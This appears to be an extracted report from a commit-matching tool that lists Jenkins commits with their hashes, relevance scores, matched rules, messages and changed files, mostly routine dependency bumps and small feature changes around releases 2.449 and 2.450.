    • - - bom/pom.xml - - cli/pom.xml - - core/pom.xml - - coverage/pom.xml - - pom.xml - - test/pom.xml - - war/pom.xml - - websocket/jetty10/pom.xml - - websocket/spi/pom.xml - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [maven-release-plugin] prepare release jenkins-2.440.2 - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.440.2 -
    -
    -
    -
    -
    - - - - COMMIT_HAS_TWINS - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3037c91b3e21771fbb855b95083add15c2d283de -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      This commit has one or more twins.
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [maven-release-plugin] prepare release jenkins-2.440.2
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - - cli/pom.xml - - core/pom.xml - - coverage/pom.xml - - pom.xml - - test/pom.xml - - war/pom.xml - - websocket/jetty10/pom.xml - - websocket/spi/pom.xml - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump com.puppycrawl.tools:checkstyle from 10.14.1 to 10.14.2 (#9048)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d09ae8c7bb90a75ade3296e5dad3ba37ab0cb4c3 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9048
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump com.puppycrawl.tools:checkstyle from 10.14.1 to 10.14.2 (#9048) Bumps [com.puppycrawl.tools:checkstyle](https://github.com/checkstyle/checkstyle) from 10.14.1 to 10.14.2. - [Release notes](https://github.com/checkstyle/checkstyle/releases) - [Commits](https://github.com/checkstyle/checkstyle/compare/checkstyle-10.14.1...checkstyle-10.14.2) --- updated-dependencies: - dependency-name: com.puppycrawl.tools:checkstyle dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency sass to v1.72.0 (#9046) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - db52842ca3568fa6781ca6d28c00e26bfbcf7865 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9046
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency sass to v1.72.0 (#9046) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.awaitility:awaitility from 4.2.0 to 4.2.1 (#9043) Bumps... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9f790a3142c76a33f1dbd8409715b867a53836c8 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9043
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.awaitility:awaitility from 4.2.0 to 4.2.1 (#9043) Bumps [org.awaitility:awaitility](https://github.com/awaitility/awaitility) from 4.2.0 to 4.2.1. - [Changelog](https://github.com/awaitility/awaitility/blob/master/changelog.txt) - [Commits](https://github.com/awaitility/awaitility/compare/awaitility-4.2.0...awaitility-4.2.1) --- updated-dependencies: - dependency-name: org.awaitility:awaitility dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - `QueueIdStrategy` (#9020) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c0f27461fc9c367ad73dafcce3e07ca26ca22523 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9020
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      `QueueIdStrategy` (#9020)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/Queue.java - - core/src/main/java/jenkins/model/queue/QueueIdStrategy.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-69191] new icon for agent not accepting tasks and computer... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 229724953b8430fe344bd78e2926727178e0247e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8823
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-69191] new icon for agent not accepting tasks and computer icon legend (#8823) * [JENKINS-69191] icon for agent not accepting tasks This change adds another icon for the case when an agent is not accepting tasks, e.g. because the retention strategy avoids this. The makes it easier to decide whether an agent is in a non healthy state. A legend button is added below the computer overview table that shows an explanation for the icons. * fix style
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/Computer.java - - core/src/main/resources/hudson/model/ComputerSet/_legend.jelly - - core/src/main/resources/hudson/model/ComputerSet/_legend.properties - - core/src/main/resources/hudson/model/ComputerSet/index.jelly - - war/src/main/js/pages/computer-set/index.js - - war/src/main/resources/images/symbols/computer-not-accepting.svg - - war/webpack.config.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add components for dropdown items (#8827) * Init * Update taglib *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 730c59fe4d1d49af681df32e49eac72a629ce0c4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8827
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Add components for dropdown items (#8827) * Init * Update taglib * Add docs * Add additional docs * Update header.jelly * Remove translations * Linting * Update utils.js * Add clazz * Update templates.js * Address comments * Fix failing tests due to JS change * Update templates.js * Fix properties not being set correctly * XML escape clazz, URL and ID --------- Co-authored-by: Mark Waite <mark.earl.waite@gmail.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/PluginManager/available.jelly - - core/src/main/resources/hudson/logging/LogRecorder/index.jelly - - core/src/main/resources/hudson/logging/LogRecorderManager/feeds.jelly - - core/src/main/resources/lib/hudson/rssBar.jelly - - core/src/main/resources/lib/hudson/rssBar.properties - - core/src/main/resources/lib/hudson/rssBar_bg.properties - - core/src/main/resources/lib/hudson/rssBar_ca.properties - - core/src/main/resources/lib/hudson/rssBar_cs.properties - - core/src/main/resources/lib/hudson/rssBar_da.properties - - core/src/main/resources/lib/hudson/rssBar_de.properties - - core/src/main/resources/lib/hudson/rssBar_el.properties - - core/src/main/resources/lib/hudson/rssBar_es.properties - - core/src/main/resources/lib/hudson/rssBar_es_AR.properties - - core/src/main/resources/lib/hudson/rssBar_et.properties - - core/src/main/resources/lib/hudson/rssBar_fi.properties - - core/src/main/resources/lib/hudson/rssBar_fr.properties - - core/src/main/resources/lib/hudson/rssBar_he.properties - - core/src/main/resources/lib/hudson/rssBar_hu.properties - - core/src/main/resources/lib/hudson/rssBar_it.properties - - core/src/main/resources/lib/hudson/rssBar_ja.properties - - core/src/main/resources/lib/hudson/rssBar_ko.properties - - core/src/main/resources/lib/hudson/rssBar_lt.properties - - core/src/main/resources/lib/hudson/rssBar_lv.properties - - core/src/main/resources/lib/hudson/rssBar_nb_NO.properties - - core/src/main/resources/lib/hudson/rssBar_nl.properties - - core/src/main/resources/lib/hudson/rssBar_pl.properties - - core/src/main/resources/lib/hudson/rssBar_pt_BR.properties - - core/src/main/resources/lib/hudson/rssBar_pt_PT.properties - - core/src/main/resources/lib/hudson/rssBar_ro.properties - - core/src/main/resources/lib/hudson/rssBar_ru.properties - - core/src/main/resources/lib/hudson/rssBar_sk.properties - - core/src/main/resources/lib/hudson/rssBar_sl.properties - - core/src/main/resources/lib/hudson/rssBar_sr.properties - - core/src/main/resources/lib/hudson/rssBar_sv_SE.properties - - core/src/main/resources/lib/hudson/rssBar_tr.properties - - core/src/main/resources/lib/hudson/rssBar_uk.properties - - core/src/main/resources/lib/hudson/rssBar_zh_TW.properties - - core/src/main/resources/lib/layout/dropdowns/custom.jelly - - core/src/main/resources/lib/layout/dropdowns/header.jelly - - core/src/main/resources/lib/layout/dropdowns/item.jelly - - core/src/main/resources/lib/layout/dropdowns/separator.jelly - - core/src/main/resources/lib/layout/dropdowns/submenu.jelly - - core/src/main/resources/lib/layout/dropdowns/taglib - - core/src/main/resources/lib/layout/layout.jelly - - core/src/main/resources/lib/layout/overflowButton.jelly - - war/src/main/js/components/dropdowns/overflow-button.js - - war/src/main/js/components/dropdowns/templates.js - - war/src/main/js/components/dropdowns/utils.js - - war/src/main/js/pages/dashboard/index.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Remove unnecessary `<pluginManagement>` entries (#9037) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 471bf225f489c0cfdde3af6378cc4f05f099e10a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9037
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Remove unnecessary `<pluginManagement>` entries (#9037)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Improve description of "Plain text" markup formatter (#9039)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 5bc99ad8b7aac3a42a58de8f63075f04a16eedab -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9039
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Improve description of "Plain text" markup formatter (#9039) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/resources/hudson/markup/EscapedMarkupFormatter/config.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump com.google.guava:guava from 33.0.0-jre to 33.1.0-jre (#9040)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - a4835fccf3f46623f0d7dd11cf55c5e5928c8358 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9040
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump com.google.guava:guava from 33.0.0-jre to 33.1.0-jre (#9040) Bumps [com.google.guava:guava](https://github.com/google/guava) from 33.0.0-jre to 33.1.0-jre. - [Release notes](https://github.com/google/guava/releases) - [Commits](https://github.com/google/guava/commits) --- updated-dependencies: - dependency-name: com.google.guava:guava dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Remove lingering reference to `maven-makepkgs-plugin` (#9034) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d2a4a44a5c10ff9f32632fdd628deed275ea39a1 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9034
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Remove lingering reference to `maven-makepkgs-plugin` (#9034)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump softprops/action-gh-release from 2.0.2 to 2.0.4 (#9035) Bumps... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4909708a14c3ca9acc9a74e5e5a1349700186886 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9035
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump softprops/action-gh-release from 2.0.2 to 2.0.4 (#9035) Bumps [softprops/action-gh-release](https://github.com/softprops/action-gh-release) from 2.0.2 to 2.0.4. - [Release notes](https://github.com/softprops/action-gh-release/releases) - [Changelog](https://github.com/softprops/action-gh-release/blob/master/CHANGELOG.md) - [Commits](https://github.com/softprops/action-gh-release/compare/d99959edae48b5ffffd7b00da66dcdb0a33a52ee...9d7c94cfd0a1f3ed45544c887983e9fa900f0564) --- updated-dependencies: - dependency-name: softprops/action-gh-release dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/publish-release-artifact.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins:mailer from 470.vc91f60c5d8e2 to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.450 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3e61c82be10352d1923518c276d67890372ed970 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9036
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins:mailer from 470.vc91f60c5d8e2 to 472.vf7c289a_4b_420 (#9036) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump com.puppycrawl.tools:checkstyle from 10.14.0 to 10.14.1 (#9033)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 61a8fed2594989ca14f31179b75ce26e5157cb3b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9033
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump com.puppycrawl.tools:checkstyle from 10.14.0 to 10.14.1 (#9033) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump softprops/action-gh-release from 1 to 2 (#9030) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - f7cfb7ed382fc25a7c80bd4f96980e220274abd7 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9030
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump softprops/action-gh-release from 1 to 2 (#9030)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/workflows/publish-release-artifact.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.apache.commons:commons-compress from 1.26.0 to 1.26.1 (#9031) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9e7397244e9c971f5b1d5406d8865c52fa301233 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9031
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.apache.commons:commons-compress from 1.26.0 to 1.26.1 (#9031)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - bom/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update jenkins/ath Docker tag to v5814 (#9029) Co-authored-by:... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 76e1fd291b2fb539a2d72776bcaeaeba7461556d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9029
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update jenkins/ath Docker tag to v5814 (#9029) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - ath.sh - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Link to individual releases' changelog pages (#8985) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b9b779d71928cc33f207a98726265ee77705cccc -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8985
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Link to individual releases' changelog pages (#8985)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - .github/release-drafter.yml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - `Lifecycle.supportsDynamicLoad` (#9013) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 46b0db778344fd705418535bc6a7f55b88e4db30 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9013
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      `Lifecycle.supportsDynamicLoad` (#9013)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/PluginManager.java - - core/src/main/java/hudson/lifecycle/Lifecycle.java - - core/src/main/resources/hudson/Messages.properties - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - `Job.fastUpdateNextBuildNumber` (#9019) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2dca2b18ae00829431be06c25bb370e5f825b2bc -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9019
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      `Job.fastUpdateNextBuildNumber` (#9019)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/model/Job.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [JENKINS-65911] Correct JNA method signature for `fcntl(2)` (#9026) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c9af352f6f1815a799308fbe7a613038d7cfd63b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9026
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [JENKINS-65911] Correct JNA method signature for `fcntl(2)` (#9026)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/util/jna/GNUCLibrary.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update dependency postcss-preset-env to v9.5.0 (#9028)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - dc714a7ffb766ab7de1573ae327823e4867117e6 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9028
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update dependency postcss-preset-env to v9.5.0 (#9028) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/yarn.lock - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update Yarn to v4.1.1 (#9021) * Update Yarn to v4.1.1 * Update yarn... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b528922163e2c7cf3b5735080184e44149117ce4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9021
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update Yarn to v4.1.1 (#9021) * Update Yarn to v4.1.1 * Update yarn in war/pom.xml Signed-off-by: Alexander Brandes <mc.cache@web.de> --------- Signed-off-by: Alexander Brandes <mc.cache@web.de> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/package.json - - war/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Update bundled trilead-api to 2.84.86.vf9c960e9b_458 (#9022)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3a07440b339bc9da1b5c8632aa78a02e011b4e5b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9022
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Update bundled trilead-api to 2.84.86.vf9c960e9b_458 (#9022) Co-authored-by: Daniel Beck <daniel-beck@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - war/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins:matrix-auth from 3.2.1 to 3.2.2 (#9018)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9a3ef7cd0421fde13aaf4a17285acc127026ae63 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9018
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins:matrix-auth from 3.2.1 to 3.2.2 (#9018) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Bump org.jenkins-ci.plugins:mailer from 463.vedf8358e006b_ to... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 61a2404ba3596b598f5ad7bb7ad8f000eff659c2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 9015
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Bump org.jenkins-ci.plugins:mailer from 463.vedf8358e006b_ to 470.vc91f60c5d8e2 (#9015) Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - test/pom.xml - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Adds support of sessionId for External-Job-Monitor (#8825) adds... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b5c5caa7eac3e318cfc277932cdf6cd8017154bc -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8825
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Adds support of sessionId for External-Job-Monitor (#8825) adds support of sessionId and minor bug fix
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - core/src/main/java/hudson/Main.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Add copy-to-clipboard button to the build console output (#8960) *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 2 -
    - -
    -
    -
    - - Tag: jenkins-2.449 -
    -
    -
    -
    -
    - - - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - b0a251ab8cfbad9c5ed32fb1fdd2081a869d4e1e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message references some github issue: 8960
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Add copy-to-clipboard button to the build console output (#8960) * Add copy-to-clipboard button to the build console output * Fix copy button did not work with progressive output * Use getElementById instead of querySelector * Update copyButton documentation * Update core/src/main/resources/lib/layout/copyButton.jelly Co-authored-by: Alexander Brandes <brandes.alexander@web.de> --------- Co-authored-by: Alexander Brandes <brandes.alexander@web.de> Co-authored-by: Alexander Brandes <mc.cache@web.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
